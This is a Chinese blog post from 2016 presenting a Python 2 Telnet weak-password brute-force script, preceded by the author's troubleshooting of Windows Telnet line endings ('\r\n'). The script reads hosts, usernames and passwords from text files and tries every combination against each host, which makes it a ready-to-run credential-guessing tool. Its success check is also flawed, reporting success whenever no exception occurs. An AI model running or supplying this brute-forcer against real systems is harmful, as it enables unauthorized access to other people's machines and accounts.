Python Telnet弱口令爆破脚本及遇到的错误与问题

写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住。然后等了好久后提示

recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has closed t’

虚拟机服务器是Win7的 主机客户也是Win7。

原来代码是:

 

1、一开始觉得是因为socket 设置的问题,上网查了很久,也按他们的方法改了,但都不管用。

2、后来觉得是因为读取行的问题,linux和Windows返回行信息不同,所以没办法读取到,所以将

tn.read_until("login:")
tn.read_until("password:")

都改成

tn.read_until("\n")

结果还是没用。心疼自己= =

3、于是又找啊找,看到了这篇文章 ,文章作者说:注意:
这个问题将我纠结了好一阵子,最后跟踪调试发送命令字符串
发现在windows操作系统中发送命令时一定要”\r\n”,不然无法识别命令

于是感觉自己看到了曙光,于是又按着改,但还是无功而返。

4、最终,在这个地方找到了问题的原因。有个回答是:

If you’re using Windows, be sure to add carriage return (\r) before the new line character:

tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’))

我的理解是:在连接Windows操作系统的时候,因为编码的问题,如果直接 tn.write(user+”\n”) 系统不识别,所以改成 tn.write(user.encode(‘ascii’) + “\r\n”.encode(‘ascii’)) 问题即可解决。

 

Python Telnet弱口令爆破脚本:

#!usr/bin/env python
#!coding=utf-8

__author__ = 'zhengjim'

import telnetlib

def telnet(host,user,pwd):
    try:
        tn = telnetlib.Telnet(host,timeout=10)
        tn.set_debuglevel(2)
        tn.read_until("\n")
        tn.write(user.encode('ascii') + "\r\n".encode('ascii'))
        tn.read_until("\n")
        tn.write(pwd.encode('ascii') + "\r\n".encode('ascii'))
        tn.read_all()
        print '用户名:' + user + ',密码:' + pwd + '成功'
    except:
        print '失败'


host=open('host.txt')
for line in host:
    host=line.strip('\n')
    print '开始爆破主机:'+host
    user=open('user.txt')
    for line in user:
        user=line.strip('\n')
        pwd =open('pwd.txt')
        for line in pwd:
            pwd = line.strip('\n')
            print user + ':'+pwd
            telnet(host,user,pwd)

 

目录下需要host.txt,user.txt,pwd.txt三个文件

不足是代码比较简单,而且没多线程,效率比较低。

posted @ 2016-07-04 13:28  Zhengjim  阅读(3906)  评论(1编辑  收藏  举报